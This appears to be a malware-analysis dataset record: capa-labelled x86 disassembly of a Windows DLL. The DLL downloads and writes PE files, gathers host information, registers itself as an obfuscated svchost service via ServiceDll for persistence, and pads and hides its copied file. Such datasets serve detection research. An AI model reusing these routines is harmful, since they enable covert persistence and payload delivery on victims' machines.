joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a380
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000a3da
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push connect
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000a40b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x1000a4ab
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x1000a46b
cmp word [esp + 0x28], 0x5a4d
jne 0x1000a492
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000a49a
jmp 0x1000a43d
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret
Function at 0x1000b150
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000b210
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push esi
lea eax, [esp + 0x74]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x78], 0x66
mov byte [esp + 0x15a], bl
mov dword [esp + 0x7c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c0], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], pe_nt_image_headers32
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c1]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push connect
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c0]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x10018420
push eax
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b2e7
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000b2fa
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2c8]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x1c0]
lea edi, [esp + 0x124]
mov dword [esp + 0x120], edx
lea eax, [esp + 0x50]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x64]
mov word [esp + 0x114], cx
call fcn.1000b150
lea edx, [esp + 0x30]
mov dword [esp + 0x118], eax
push edx
mov dword [esp + 0x34], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
shr eax, 0x14
inc eax
mov dword [esp + 0x11c], eax
call fcn.1000b1b0
mov ecx, dword [esp + 0x2cc]
lea edx, [esp + 0x74]
mov dword [esp + 0x158], ecx
push 0x14c
push edx
mov ecx, ebx
mov byte [esp + 0x15e], al
call fcn.100025a0
pop edi
pop esi
pop ebx
add esp, 0x2b4
ret
Function at 0x1000b840
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10018afc]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000b830
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10018afc]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x10018afc]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push connect
push connect
push connect
push connect
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10018d88
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10018d88
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000b7e0
push 0x10018d88
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x10018c44], eax
call fcn.1000b780
push edi
push edi
push 4
call fcn.1000b780
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000cc20
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000c580
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10016a90], eax
push edi
push edi
call fcn.1000b540
add esp, 8
push 0x3e8
call esi
jmp 0x1000b985

Function at 0x1000b9a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000ba1f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000ba0d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000ba0d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000b9dc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.yzt__bvgghp_Nkblwq_Hpip
push str.P_vqig_HruowtflV_s
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.ArisasvUrihqtcr_M_qtlwt_Rwdvuykg_Pqn
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.P_vqig_HruowtflV_s
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.P_vqig_HruowtflV_s
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.P_vqig_HruowtflV_s
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.P_vqig_HruowtflV_s
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000c480
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000c56a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x1000c546
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x1000c507
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000c528
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x1000c50b
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x1000c4f5
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10016e10]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.P_vqig_HruowtflV_s
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__W_ebTMbwmjfisq_ohd
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc